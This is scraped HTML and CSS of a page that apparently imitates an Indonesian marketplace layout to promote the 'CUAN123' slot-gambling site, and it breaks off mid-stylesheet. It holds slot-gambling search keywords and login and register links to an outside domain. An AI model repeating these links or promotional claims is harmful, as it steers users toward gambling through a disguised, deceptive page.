xw24tn 6qeuhm gvn1fk 1ayy89j 1o1bb8b kn9u1f 1v174bd wko2vc 1627l1d ovhcia 1s16om9 ccaz7r z23930 1kvqu35 bn3rig 1f554e6 ogpi78 sxxogs"> @-webkit-keyframes animation-jlk0mk { 0% { background-position: -300px; } 100% { background-position: 300px; } } @keyframes animation-jlk0mk { 0% { background-position: -300px; } 100% { background-position: 300px; } } @-webkit-keyframes animation-17fxu0k { 0% { -webkit-transform: translateY(-50%); -ms-transform: translateY(-50%); transform: translateY(-50%); } 50% { -webkit-transform: translateY(50%); -ms-transform: translateY(50%); transform: translateY(50%); } 100% { -webkit-transform: translateY(-50%); -ms-transform: translateY(-50%); transform: translateY(-50%); } } @keyframes animation-17fxu0k { 0% { -webkit-transform: translateY(-50%); -ms-transform: translateY(-50%); transform: translateY(-50%); } 50% { -webkit-transform: translateY(50%); -ms-transform: translateY(50%); transform: translateY(50%); } 100% { -webkit-transform: translateY(-50%); -ms-transform: translateY(-50%); transform: translateY(-50%); } } @-webkit-keyframes animation-3j3ykd { 0% { -webkit-transform: translateY(50%); -ms-transform: translateY(50%); transform: translateY(50%); } 50% { -webkit-transform: translateY(-50%); -ms-transform: translateY(-50%); transform: translateY(-50%); } 100% { -webkit-transform: translateY(50%); -ms-transform: translateY(50%); transform: translateY(50%); } } @keyframes animation-3j3ykd { 0% { -webkit-transform: translateY(50%); -ms-transform: translateY(50%); transform: translateY(50%); } 50% { -webkit-transform: translateY(-50%); -ms-transform: translateY(-50%); transform: translateY(-50%); } 100% { -webkit-transform: translateY(50%); -ms-transform: translateY(50%); transform: translateY(50%); } } @-webkit-keyframes animation-i6183d { 0% { -webkit-transform: translateY(-60%); -ms-transform: translateY(-60%); transform: translateY(-60%); } 50% { -webkit-transform: translateY(60%); -ms-transform: translateY(60%); transform: translateY(60%); } 100% { -webkit-transform: translateY(-60%); -ms-transform: translateY(-60%); transform: translateY(-60%); } } @keyframes animation-i6183d { 0% { -webkit-transform: translateY(-60%); -ms-transform: translateY(-60%); transform: translateY(-60%); } 50% { -webkit-transform: translateY(60%); -ms-transform: translateY(60%); transform: translateY(60%); } 100% { -webkit-transform: translateY(-60%); -ms-transform: translateY(-60%); transform: translateY(-60%); } } @-webkit-keyframes animation-1lz1btd { 0% { -webkit-transform: translateY(60%); -ms-transform: translateY(60%); transform: translateY(60%); } 50% { -webkit-transform: translateY(-60%); -ms-transform: translateY(-60%); transform: translateY(-60%); } 100% { -webkit-transform: translateY(60%); -ms-transform: translateY(60%); transform: translateY(60%); } } @keyframes animation-1lz1btd { 0% { -webkit-transform: translateY(60%); -ms-transform: translateY(60%); transform: translateY(60%); } 50% { -webkit-transform: translateY(-60%); -ms-transform: translateY(-60%); transform: translateY(-60%); } 100% { -webkit-transform: translateY(60%); -ms-transform: translateY(60%); transform: translateY(60%); } } @-webkit-keyframes animation-4o66f { 0% { background-color: #FFC400; -webkit-transform: scaleX(0); -ms-transform: scaleX(0); transform: scaleX(0); } 25% { -webkit-transform: scaleX(0); -ms-transform: scaleX(0); transform: scaleX(0); } 50% { -webkit-transform: scaleX(1); -ms-transform: scaleX(1); transform: scaleX(1); } 75% { -webkit-transform: scaleX(1); -ms-transform: scaleX(1); transform: scaleX(1); } 100% { background-color: #FFC400; -webkit-transform: translateX(100%); -ms-transform: translateX(100%); transform: translateX(100%); } } @keyframes animation-4o66f { 0% { background-color: #FFC400; -webkit-transform: scaleX(0); -ms-transform: scaleX(0); transform: scaleX(0); } 25% { -webkit-transform: scaleX(0); -ms-transform: scaleX(0); transform: scaleX(0); } 50% { -webkit-transform: scaleX(1); -ms-transform: scaleX(1); transform: scaleX(1); } 75% { -webkit-transform: scaleX(1); -ms-transform: scaleX(1); transform: scaleX(1); } 100% { background-color: #FFC400; -webkit-transform: translateX(100%); -ms-transform: translateX(100%); transform: translateX(100%); } } #chat-item-container { padding-inline-start: 0px; margin-block-start: 0px; margin-block-end: 0px; } #chat-snippet { z-index: 80 !important; } .chat-addlink-product__btn--buy:not([disabled]) { background-color: var(--YN600, #F36819) !important; color: var(--NN0, #FFFFFF) !important; } .chat__search input { background: transparent !important; } .unf-user-dialog__content--mute { padding: 32px 44px !important; } .receive-setting__desc .unf-toggle { position: absolute !important; top: 30% !important; right: 12px !important; } .unf-user-dialog__title { font-size: 18px !important; font-weight: 600 !important; color: var(--NN1000, rgba(0, 0, 0, 0.7)) !important; line-height: 1.22 !important; margin: 0 !important; padding: 0 0 8px !important; text-align: center !important; } .unf-user-dialog__content input[type=text].modal-attach-product__search--txt { margin-bottom: 10px !important; height: 36px !important; } @-webkit-keyframes animation-10x2v5k { 0% { stroke-dasharray: 1, 200; stroke-dashoffset: 0; } 100% { stroke-dasharray: 200, 200; stroke-dashoffset: -125px; } } @keyframes animation-10x2v5k { 0% { stroke-dasharray: 1, 200; stroke-dashoffset: 0; } 100% { stroke-dasharray: 200, 200; stroke-dashoffset: -125px; } } @-webkit-keyframes animation-98wu2y { 0% { stroke-dasharray: 0, 200; } 50% { stroke-dasharray: 50, 200; } 100% { stroke-dasharray: 94, 200; stroke-dashoffset: -94; } } @keyframes animation-98wu2y { 0% { stroke-dasharray: 0, 200; } 50% { stroke-dasharray: 50, 200; } 100% { stroke-dasharray: 94, 200; stroke-dashoffset: -94; } } @-webkit-keyframes animation-xhy3fo { 0% { stroke-dasharray: 91, 200; stroke-dashoffset: 90; } 30% { stroke-dasharray: 91, 200; stroke-dashoffset: 54; } 50% { stroke-dasharray: 91, 200; stroke-dashoffset: 0; } 70% { stroke-dasharray: 91, 200; stroke-dashoffset: -54; } 100% { stroke-dasharray: 91, 200; stroke-dashoffset: -94; } } @keyframes animation-xhy3fo { 0% { stroke-dasharray: 91, 200; stroke-dashoffset: 90; } 30% { stroke-dasharray: 91, 200; stroke-dashoffset: 54; } 50% { stroke-dasharray: 91, 200; stroke-dashoffset: 0; } 70% { stroke-dasharray: 91, 200; stroke-dashoffset: -54; } 100% { stroke-dasharray: 91, 200; stroke-dashoffset: -94; } } @-webkit-keyframes animation-1fnu2vr { 10%, 90% { -webkit-transform: translate(-1px, 0); -ms-transform: translate(-1px, 0); transform: translate(-1px, 0); } 20%, 80% { -webkit-transform: translate(2px, 0); -ms-transform: translate(2px, 0); transform: translate(2px, 0); } 30%, 50%, 70% { -webkit-transform: translate(-3px, 0); -ms-transform: translate(-3px, 0); transform: translate(-3px, 0); } 40%, 60% { -webkit-transform: translate(3px, 0); -ms-transform: translate(3px, 0); transform: translate(3px, 0); } } @keyframes animation-1fnu2vr { 10%, 90% { -webkit-transform: translate(-1px, 0); -ms-transform: translate(-1px, 0); transform: translate(-1px, 0); } 20%, 80% { -webkit-transform: translate(2px, 0); -ms-transform: translate(2px, 0); transform: translate(2px, 0); } 30%, 50%, 70% { -webkit-transform: translate(-3px, 0); -ms-transform: translate(-3px, 0); transform: translate(-3px, 0); } 40%, 60% { -webkit-transform: translate(3px, 0); -ms-transform: translate(3px, 0); transform: translate(3px, 0); } } @-webkit-keyframes animation-qscw6i { 0% { -webkit-transform: scaleX(0); -ms-transform: scaleX(0); transform: scaleX(0); } 100% { -webkit-transform: scaleX(1); -ms-transform: scaleX(1); transform: scaleX(1); } } @keyframes animation-qscw6i { 0% { -webkit-transform: scaleX(0); -ms-transform: scaleX(0); transform: scaleX(0); } 100% { -webkit-transform: scaleX(1); -ms-transform: scaleX(1); transform: scaleX(1); } } @-webkit-keyframes animation-zww5t0 { from { height: 0px; } to { height: 493px; } } @keyframes animation-zww5t0 { from { height: 0px; } to { height: 493px; } } @-webkit-keyframes animation-czjkem { 0% { background-position: -100%; } 100% { background-position: 100%; } } @keyframes animation-czjkem { 0% { background-position: -100%; } 100% { background-position: 100%; } } @-webkit-keyframes animation-dswnjo { 0% { opacity: 0.75; } 50% { opacity: 1; } } @keyframes animation-dswnjo { 0% { opacity: 0.75; } 50% { opacity: 1; } } @-webkit-keyframes animation-1qe8js { 0% { opacity: 0; -webkit-transform: scale(0.7); -ms-transform: scale(0.7); transform: scale(0.7); } 100% { opacity: 1; -webkit-transform: scale(1); -ms-transform: scale(1); transform: scale(1); } } @keyframes animation-1qe8js { 0% { opacity: 0; -webkit-transform: scale(0.7); -ms-transform: scale(0.7); transform: scale(0.7); } 100% { opacity: 1; -webkit-transform: scale(1); -ms-transform: scale(1); transform: scale(1); } } @-webkit-keyframes animation-b4egaa { 0% { opacity: 1; -webkit-transform: scale(1); -ms-transform: scale(1); transform: scale(1); } 100% { opacity: 0; -webkit-transform: scale(0.7); -ms-transform: scale(0.7); transform: scale(0.7); } } @keyframes animation-b4egaa { 0% { opacity: 1; -webkit-transform: scale(1); -ms-transform: scale(1); transform: scale(1); } 100% { opacity: 0; -webkit-transform: scale(0.7); -ms-transform: scale(0.7); transform: scale(0.7); } } @-webkit-keyframes animation-oh6j69 { 0% { background-position: -468px 0; } 100% { background-position: 468px 0; } } @keyframes animation-oh6j69 { 0% { background-position: -468px 0; } 100% { background-position: 468px 0; } } @-webkit-keyframes animation-1vdf39n { to { opacity: 0; } } @keyframes animation-1vdf39n { to { opacity: 0; } } @-webkit-keyframes animation-1kgmok0 { to { height: 48px; } } @keyframes animation-1kgmok0 { to { height: 48px; } } @-webkit-keyframes animation-1y4kb4c { 0% { background-position: -120px; } 100% { background-position: 120px; } } @keyframes animation-1y4kb4c { 0% { background-position: -120px; } 100% { background-position: 120px; } } @-webkit-keyframes animation-1eihpp { 0% { background-position: -64px; } 100% { background-position: 64px; } } @keyframes animation-1eihpp { 0% { background-position: -64px; } 100% { background-position: 64px; } } @-webkit-keyframes animation-1g02mgs { 0% { background-position: -90%; } 100% { background-position: 90%; } } @keyframes animation-1g02mgs { 0% { background-position: -90%; } 100% { background-position: 90%; } } @-webkit-keyframes animation-1eq8s99 { 0% { background-position: -20%; } 100% { background-position: 20%; } } @keyframes animation-1eq8s99 { 0% { background-position: -20%; } 100% { background-position: 20%; } } @-webkit-keyframes animation-1lglyt1 { 0% { background-position: -35%; } 100% { background-position: 35%; } } @keyframes animation-1lglyt1 { 0% { background-position: -35%; } 100% { background-position: 35%; } } @-webkit-keyframes animation-xw24tn { 0% { background-position: -55%; } 100% { background-position: 55%; } } @keyframes animation-xw24tn { 0% { background-position: -55%; } 100% { background-position: 55%; } } @-webkit-keyframes animation-6qeuhm { 0% { background-position: -70%; } 100% { background-position: 70%; } } @keyframes animation-6qeuhm { 0% { background-position: -70%; } 100% { background-position: 70%; } } @-webkit-keyframes animation-gvn1fk { 0% { background-position: -40%; } 100% { background-position: 40%; } } @keyframes animation-gvn1fk { 0% { background-position: -40%; } 100% { background-position: 40%; } } @-webkit-keyframes animation-1ayy89j { 0% { background-position: -98px; } 100% { background-position: 98px; } } @keyframes animation-1ayy89j { 0% { background-position: -98px; } 100% { background-position: 98px; } } @-webkit-keyframes animation-1o1bb8b { 0% { background-position: -80%; } 100% { background-position: 80%; } } @keyframes animation-1o1bb8b { 0% { background-position: -80%; } 100% { background-position: 80%; } } @-webkit-keyframes animation-kn9u1f { 0% { background-position: -15%; } 100% { background-position: 15%; } } @keyframes animation-kn9u1f { 0% { background-position: -15%; } 100% { background-position: 15%; } } @-webkit-keyframes animation-1v174bd { 0% { background-position: -80px; } 100% { background-position: 80px; } } @keyframes animation-1v174bd { 0% { background-position: -80px; } 100% { background-position: 80px; } } @-webkit-keyframes animation-wko2vc { 0% { background-position: -180px; } 100% { background-position: 180px; } } @keyframes animation-wko2vc { 0% { background-position: -180px; } 100% { background-position: 180px; } } @-webkit-keyframes animation-1627l1d { 50% { -webkit-transform: scale(1.2); -ms-transform: scale(1.2); transform: scale(1.2); } } @keyframes animation-1627l1d { 50% { -webkit-transform: scale(1.2); -ms-transform: scale(1.2); transform: scale(1.2); } } @-webkit-keyframes animation-ovhcia { 100% { -webkit-transform: rotate(360deg); -ms-transform: rotate(360deg); transform: rotate(360deg); } } @keyframes animation-ovhcia { 100% { -webkit-transform: rotate(360deg); -ms-transform: rotate(360deg); transform: rotate(360deg); } } @-webkit-keyframes animation-1s16om9 { 0% { stroke-dasharray: 1, 200; stroke-dashoffset: 0; } 50% { stroke-dasharray: 89, 200; stroke-dashoffset: -35; } 100% { stroke-dasharray: 89, 200; stroke-dashoffset: -124; } } @keyframes animation-1s16om9 { 0% { stroke-dasharray: 1, 200; stroke-dashoffset: 0; } 50% { stroke-dasharray: 89, 200; stroke-dashoffset: -35; } 100% { stroke-dasharray: 89, 200; stroke-dashoffset: -124; } } @-webkit-keyframes animation-ccaz7r { 0% { background-position: -100px; } 100% { background-position: 100px; } } @keyframes animation-ccaz7r { 0% { background-position: -100px; } 100% { background-position: 100px; } } @-webkit-keyframes animation-z23930 { 0% { background-position: -160px; } 100% { background-position: 160px; } } @keyframes animation-z23930 { 0% { background-position: -160px; } 100% { background-position: 160px; } } @-webkit-keyframes animation-1kvqu35 { 0% { background-position: -50px; } 100% { background-position: 50px; } } @keyframes animation-1kvqu35 { 0% { background-position: -50px; } 100% { background-position: 50px; } } @-webkit-keyframes animation-bn3rig { 0% { background-position: -24px; } 100% { background-position: 24px; } } @keyframes animation-bn3rig { 0% { background-position: -24px; } 100% { background-position: 24px; } } @-webkit-keyframes animation-1f554e6 { 0% { background-position: -50%; } 100% { background-position: 50%; } } @keyframes animation-1f554e6 { 0% { background-position: -50%; } 100% { background-position: 50%; } } @-webkit-keyframes animation-ogpi78 { 0% { background-position: -132px 0; } 100% { background-position: 132px 0; } } @keyframes animation-ogpi78 { 0% { background-position: -132px 0; } 100% { background-position: 132px 0; } } @-webkit-keyframes animation-sxxogs { 0% { background-position: -14px; } 100% { background-position: 14px; } } @keyframes animation-sxxogs { 0% { background-position: -14px; } 100% { background-position: 14px; } } </style> <style data-emotion-css="8atqhb"> .css-8atqhb { width: 100%; } </style> <div class="css-8atqhb"> <style data-emotion-css="18csb69"> .css-18csb69 { padding-top: 1px; } </style> <div id="zeus-header" data-testid="headerContainer" class=" zeus-header css-18csb69" style="margin-top:110px"> <div> <style data-emotion-css="udwbrz"> .css-udwbrz { -webkit-flex-direction: column; -ms-flex-direction: column; flex-direction: column; width: 100%; min-width: 1024px; display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; -webkit-align-items: center; -webkit-box-align: center; -ms-flex-align: center; align-items: center; background-color: var(--NN0, #FFFFFF); z-index: 999; position: fixed; top: 0px; right: 0; left: 0; border-bottom: 1px solid var(--NN50, #F0F3F7); -webkit-transition: -webkit-transform 280ms ease; -webkit-transition: transform 280ms ease; transition: transform 280ms ease; height: 121px; } @media (max-width:768px) { .css-udwbrz { min-width: 768px; } } </style> <div id="header-main-wrapper" class="css-udwbrz edxse4c0"> <style data-emotion-css="jdif88"> .css-jdif88 { width: 100%; display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; height: 32px; z-index: 3; background-color: var(--NN50, #F0F3F7); padding: 0 32px; position: fixed; -webkit-box-pack: justify; -webkit-justify-content: space-between; -ms-flex-pack: justify; justify-content: space-between; left: 0px; right: 0px; } </style> <style data-emotion-css="12jp264"> .css-12jp264 { width: 96%; left: 32px; display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; height: 64px; top: 30px; position: fixed; -webkit-align-items: center; -webkit-box-align: center; -ms-flex-align: center; align-items: center; } </style> <div class="css-12jp264 e90swyx2"> <style data-emotion-css="isbo03"> .css-isbo03 { width: 150px; display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; -webkit-align-items: center; -webkit-box-align: center; -ms-flex-align: center; align-items: center; -webkit-box-pack: center; -webkit-justify-content: center; -ms-flex-pack: center; justify-content: center; margin: 4px 0 0 4px; -webkit-flex-shrink: 0; -ms-flex-negative: 0; flex-shrink: 0; } .css-isbo03 img { width: 150px; height: 40px; object-fit: contain; -webkit-flex-shrink: 0; -ms-flex-negative: 0; flex-shrink: 0; } </style><a href="/" data-testid="icnHeaderIcon" class="css-isbo03 e2sn3zw0"><img alt="CUAN123" src="https://cdn.robotaset.com/assets/tpl/464ed9370f/images/logo.gif" /></a> <style data-emotion-css="c4s9dq"> .css-c4s9dq { height: 100%; display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; -webkit-align-items: center; -webkit-box-align: center; -ms-flex-align: center; align-items: center; cursor: pointer; margin: 1px 8px 0 24px; } .css-c4s9dq:last-of-type { margin-right: 0; } </style> <div class="css-c4s9dq e1429ojz0"> <style data-emotion-css="1551isn"> .css-1551isn { width: 100%; border-radius: 4px; position: relative; display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; -webkit-align-items: center; -webkit-box-align: center; -ms-flex-align: center; align-items: center; -webkit-transition: background-color 280ms ease; transition: background-color 280ms ease; padding: 8px; height: 121px; } </style> <div data-testid="btnHeaderCategory" class="css-1551isn e1429ojz1"> <style data-emotion-css="xml5xq"> .css-xml5xq { color: var(--NN950, #212121); font-size: 14px; line-height: 18px; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; -webkit-transition: color 280ms ease; transition: color 280ms ease; height: 40px; width: 74px; -webkit-align-items: center; -webkit-box-align: center; -ms-flex-align: center; align-items: center; -webkit-box-pack: center; -webkit-justify-content: center; -ms-flex-pack: center; justify-content: center; display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; -webkit-font-smoothing: antialiased; } </style> <div class="css-xml5xq" data-testid="headerText">Kategori</div> </div> </div> <style data-emotion-css="nlrenb"> .css-nlrenb { position: relative; width: 49%; min-width: 150px; } @media (min-width:1100px) { .css-nlrenb { width: 68%; } } @media (min-width:1600px) { .css-nlrenb { width: 73%; } } </style> <div class="css-nlrenb"> <style data-emotion-css="w3ze74"> .css-w3ze74 { width: 100%; -webkit-align-items: center; -webkit-box-align: center; -ms-flex-align: center; align-items: center; display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; } </style> <div data-testid="" class="css-w3ze74"> <style data-emotion-css="810c8b"> .css-810c8b { width: 100%; display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; box-sizing: border-box; border: solid 1px var(--NN300, #BFC9D9); -webkit-align-items: center; -webkit-box-align: center; -ms-flex-align: center; align-items: center; height: 40px; border-radius: 8px; -webkit-transition: border 280ms ease; transition: border 280ms ease; } .css-810c8b>div { height: 100%; } </style> <div class="css-810c8b"> <style data-emotion-css="adxool"> .css-adxool { width: 100%; margin: 0; } .css-adxool div { height: 100%; display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; -webkit-box-pack: center; -webkit-justify-content: center; -ms-flex-pack: center; justify-content: center; -webkit-align-items: center; -webkit-box-align: center; -ms-flex-align: center; align-items: center; border: none; } .css-adxool div button { height: 100%; -webkit-flex: 0 0 32px; -ms-flex: 0 0 32px; flex: 0 0 32px; width: 32px; } .css-adxool div button:after { background-size: 20px; } </style> <div class="css-adxool" data-testid="txtHeaderSearchBar"> <style data-emotion-css="v1hkkg"> .css-v1hkkg { display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; -webkit-align-items: center; -webkit-box-align: center; -ms-flex-align: center; align-items: center; -webkit-box-flex: inherit; -webkit-flex-grow: inherit; -ms-flex-positive: inherit; flex-grow: inherit; background-color: var(--NN0, #FFFFFF); border-radius: 8px; border: 1px solid var(--NN300, #BFC9D9); overflow: hidden; padding-left: 8px; padding-right: 8px; -webkit-transition: border-color 300ms cubic-bezier(0.63, 0.01, 0.29, 1); transition: border-color 300ms cubic-bezier(0.63, 0.01, 0.29, 1); gap: 8px; width: 100%; height: 40px; } .css-v1hkkg input[type='search']::-webkit-search-decoration, .css-v1hkkg input[type='search']::-webkit-search-cancel-button, .css-v1hkkg input[type='search']::-webkit-search-results-button, .css-v1hkkg input[type='search']::-webkit-search-results-decoration { display: none; } </style> <div class="css-v1hkkg e1v32nag0"><svg class="unf-icon" viewBox="0 0 24 24" width="24" height="24" fill="var(--NN500, #8D96AA)" style="display:inline-block;vertical-align:middle;flex:0 0 24px"> <path d="M20.53 19.46l-4.4-4.4a7.33 7.33 0 10-1.07 1.06l4.41 4.41a.77.77 0 001.06 0 .77.77 0 000-1.07zm-15.78-9a5.75 5.75 0 115.75 5.75 5.76 5.76 0 01-5.75-5.72v-.03z"> </path> </svg> <style data-emotion-css="3017qm"> .css-3017qm { min-width: 0; min-height: 0; width: 100%; color: var(--NN950, #212121); font-family: inherit; background-color: transparent; line-height: 20px; border: none; outline: none; height: auto; font-size: 14px; padding-top: 8px; padding-bottom: 8px; } .css-3017qm::-webkit-input-placeholder { color: var(--NN600, #6D7588); } .css-3017qm::-moz-placeholder { color: var(--NN600, #6D7588); } .css-3017qm:-ms-input-placeholder { color: var(--NN600, #6D7588); } .css-3017qm::placeholder { color: var(--NN600, #6D7588); } </style><input type="search" aria-label="Cari di CUAN123" data-unify="Search" placeholder="Cari di CUAN123" value="" class="css-3017qm exxxdg63" /> </div> </div> </div> </div> </div> <style data-emotion-css="7lcni7"> .css-7lcni7 { width: 3%; margin: 0 0 0 40px; display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; -webkit-box-pack: center; -webkit-justify-content: center; -ms-flex-pack: center; justify-content: center; -webkit-align-items: center; -webkit-box-align: center; -ms-flex-align: center; align-items: center; cursor: pointer; z-index: 2; height: 58px; z-index: 475; } </style> <div class="css-7lcni7" data-testid="btnHeaderCart"> <style data-emotion-css="1lsbr8a"> .css-1lsbr8a { width: 40px; height: 40px; display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; -webkit-align-items: center; -webkit-box-align: center; -ms-flex-align: center; align-items: center; -webkit-box-pack: center; -webkit-justify-content: center; -ms-flex-pack: center; justify-content: center; } </style> <div class="css-1lsbr8a"> <style data-emotion-css="181189t"> .css-181189t { background-position: 0 0; width: 24px; height: 24px; background-image: url(//assets-tokopedia-lite/v2/zeus/kratos/888f62a8.svg); background-size: 100% auto; background-repeat: no-repeat; } </style><i class="css-181189t"></i> </div> </div> <style data-emotion-css="a1ds0i"> .css-a1ds0i { width: 1.2px; min-width: 1.2px; height: 24px; background: var(--NN100, #E4EBF5); margin: 0 0 0 24px; } </style> <div class="css-a1ds0i"></div> <style data-emotion-css="vlg5ix"> .css-vlg5ix { display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; -webkit-box-pack: justify; -webkit-justify-content: space-between; -ms-flex-pack: justify; justify-content: space-between; -webkit-align-items: center; -webkit-box-align: center; -ms-flex-align: center; align-items: center; gap: 12px; width: 158px; margin: 0 0 0 24px; } @media (max-width:1100px) { .css-vlg5ix { width: 16%; } } @media (max-width:768px) { .css-vlg5ix { width: 23%; } } </style> <div class="css-vlg5ix"> <style data-emotion-css="16r70d4"> .css-16r70d4 { height: 32px; padding: 0px 16px; font-weight: 800; border-radius: 8px; font-size: 12px; background: var(--NN0, #FFFFFF); color: var(--GN500, #00AA5B); cursor: pointer; border: 1px solid var(--GN500, #00AA5B); } </style><button type="button" class="css-16r70d4" data-testid="btnHeaderLogin"><a href="https://adminterpercaya.pro/cuan123" target="_blank" rel="noopener noreferrer nofollow">Masuk</a></button> <style data-emotion-css="6c86hb"> .css-6c86hb { height: 32px; color: var(--NN0, #FFFFFF); padding: 0px 16px; font-weight: 800; border-radius: 8px; font-size: 12px; background: var(--GN500, #00AA5B); cursor: pointer; border: none; display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; -webkit-box-pack: center; -webkit-justify-content: center; -ms-flex-pack: center; justify-content: center; -webkit-align-items: center; -webkit-box-align: center; -ms-flex-align: center; align-items: center; } </style><button type="button" class="css-6c86hb" data-testid="btnHeaderRegister"> <a href="https://adminterpercaya.pro/cuan123" target="_blank" rel="noopener noreferrer nofollow"><!-- -->Daftar<!-- --></a> </button> </div> </div> <style data-emotion-css="wtsb4g"> .css-wtsb4g { position: fixed; top: 97px; width: 45%; left: 309px; display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; z-index: -1; } .css-wtsb4g a { color: var(--NN600, #6D7588); line-height: 16px; font-size: 12px; margin: 0 2% 0 0%; text-overflow: ellipsis; white-space: nowrap; overflow: hidden; cursor: pointer; text-transform: capitalize; } .css-wtsb4g a:hover { color: var(--GN500, #00AA5B); } </style> <div id="trending-popular-keywords" class="css-wtsb4g e9zpl6p0"><a data-testid="trendkingKeywordList" href="/#1">CUAN123</a><a data-testid="trendkingKeywordList" href="/#2">Slot CUAN123</a><a data-testid="trendkingKeywordList" href="/#3">Login CUAN123</a><a data-testid="trendkingKeywordList" href="/#4">CUAN123 Gacor</a><a data-testid="trendkingKeywordList" href="/#5">CUAN123</a> <a data-testid="trendkingKeywordList" href="https://lpmplampung.id/">RTP SLOT</a></div> <style data-emotion-css="1mbdz04"> .css-1mbdz04 { z-index: -1; } </style> <div data-testid="subHeader-placeholder" class="css-1mbdz04 e90swyx6"></div> </div> </div> </div> <style data-emotion-css="856ghu"> .css-856ghu { max-width: 1188px; min-width: 1188px; margin: auto; padding: 19px 0 0; } @media only screen and (max-width:1280px) { .css-856ghu { max-width: 948px; min-width: 948px; } } </style> <div data-ssr="mainPDPSSR" class="css-856ghu" id="main-pdp-container"> <style data-emotion-css="17o7uaz"> .css-17o7uaz { margin-bottom: 19px; display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; -webkit-align-items: center; -webkit-box-align: center; -ms-flex-align: center; align-items: center; } </style> <div class="css-17o7uaz"> <style data-emotion-css="ylrxze-unf-breadcrumb"> .css-ylrxze-unf-breadcrumb { width: 100%; } .css-ylrxze-unf-breadcrumb ol { display: block; list-style: none; position: relative; margin-top: 0; margin-bottom: 0; padding-left: 0; } </style> <nav aria-label="Breadcrumb" class="css-ylrxze-unf-breadcrumb"> <style data-emotion-css="60knpe"> .css-60knpe { padding-left: 0; margin: 0; max-width: 50%; overflow: hidden; white-space: nowrap; text-overflow: ellipsis; } .css-60knpe:hover { max-width: 100%; } .css-60knpe li { display: inline; } .css-60knpe li a { color: var(--GN500, #00AA5B); display: inline; } .css-60knpe li p, .css-60knpe li a, .css-60knpe li a::after { vertical-align: middle; margin-bottom: 0; } .css-60knpe li h2 { display: inline; color: var(--NN950, #212121); vertical-align: middle; } </style> <ol data-unify="Breadcrumb" data-testid="lnkPDPDetailBreadcrumb" class="css-60knpe"> <style data-emotion-css="d5bnys"> .css-d5bnys { display: inline-block; } .css-d5bnys a, .css-d5bnys span, .css-d5bnys h1, .css-d5bnys h2, .css-d5bnys h3, .css-d5bnys h4, .css-d5bnys h5, .css-d5bnys h6, .css-d5bnys p { display: inline-block; margin-top: 0; margin-bottom: 0; font-family: inherit; font-weight: 400; font-size: 12px; line-height: 22px; } .css-d5bnys a:focus-visible, .css-d5bnys span:focus-visible, .css-d5bnys h1:focus-visible, .css-d5bnys h2:focus-visible, .css-d5bnys h3:focus-visible, .css-d5bnys h4:focus-visible, .css-d5bnys h5:focus-visible, .css-d5bnys h6:focus-visible, .css-d5bnys p:focus-visible { outline: 2px dotted var(--PN500, #9342ED); outline-offset: 3px; } .css-d5bnys span { color: var(--NN950, #212121); } </style> <li class="css-d5bnys" text="Home" url="/"> <style data-emotion-css="1y6qqnj-unf-heading"> @font-face { font-family: Open Sauce One; src: local('Open Sauce One Regular'), url('//asts/unify/fonts/OpenSauceOne-Regular.woff2') format('woff2'); font-weight: 400; font-style: normal; } @font-face { font-family: Open Sauce One; src: local('Open Sauce One ExtraBold'), url('//asts/unify/fonts/OpenSauceOne-ExtraBold.woff2') format('woff2'); font-weight: 800; font-style: normal; } .css-1y6qqnj-unf-heading { display: inline-block; position: relative; font-weight: 700; font-family: Open Sauce One, 'Nunito Sans', -apple-system, sans-serif; font-size: 1rem; line-height: 20px; -webkit-letter-spacing: 0px; -moz-letter-spacing: 0px; -ms-letter-spacing: 0px; letter-spacing: 0px; color: var(--GN500, #00AA5B); -webkit-text-decoration: none; text-decoration: none; cursor: pointer; color: var(--NN600, #6D7588); } .css-1y6qqnj-unf-heading:hover { color: var(--GN500, #00AA5B); } </style><a data-unify="Typography" href="/" target="_self" rel="noopener noreferrer" class="css-1y6qqnj-unf-heading e1qvo2ff7">CUAN123<style data-emotion-css="1p03tq7"> .css-1p03tq7 { position: relative; height: 20px; top: -1px; } </style><svg class="unf-icon css-1p03tq7" viewBox="0 0 24 24" width="24" height="24" fill="var(--NN500, #8D96AA)" style="display:inline-block;vertical-align:middle"> <path d="M9.5 17.75a.75.75 0 01-.5-1.28L13.44 12 9 7.53a.75.75 0 011-1.06l5 5a.75.75 0 010 1.06l-5 5a.74.74 0 01-.5.22z"> </path> </svg></a> </li> <li class="css-d5bnys" text="CUAN123: Rekomendasi Slot Gacor Provider Slot88 Link Akses Tanpa Gangguan" url="#"><a data-unify="Typography" href="#" target="_self" rel="noopener noreferrer" class="css-1y6qqnj-unf-heading e1qvo2ff7">CUAN123: Rekomendasi Slot Gacor Provider Slot88 Link Akses Tanpa Gangguan<svg class="unf-icon css-1p03tq7" viewBox="0 0 24 24" width="24" height="24" fill="var(--NN500, #8D96AA)" style="display:inline-block;vertical-align:middle"> <path d="M9.5 17.75a.75.75 0 01-.5-1.28L13.44 12 9 7.53a.75.75 0 011-1.06l5 5a.75.75 0 010 1.06l-5 5a.74.74 0 01-.5.22z"> </path> </svg></a></li> </ol> </nav> </div> <style data-emotion-css="kc39pg"> .css-kc39pg { display: grid; grid-template-columns: minmax(0, 348px) minmax(0, 468px) minmax(0, 268px); grid-template-areas: "product_media ticker_info variant_options" "product_media product_content variant_options" "product_media new_variant_options variant_options" "product_media product_detail variant_options" "product_media obat_keras variant_options" "product_media shop_credibility variant_options" "product_media shipment variant_options" "product_media shipping variant_options" "product_media offerings variant_options" "product_media QRCode variant_options" "product_media report variant_options" "product_detail_media product_detail_media variant_options" "review review 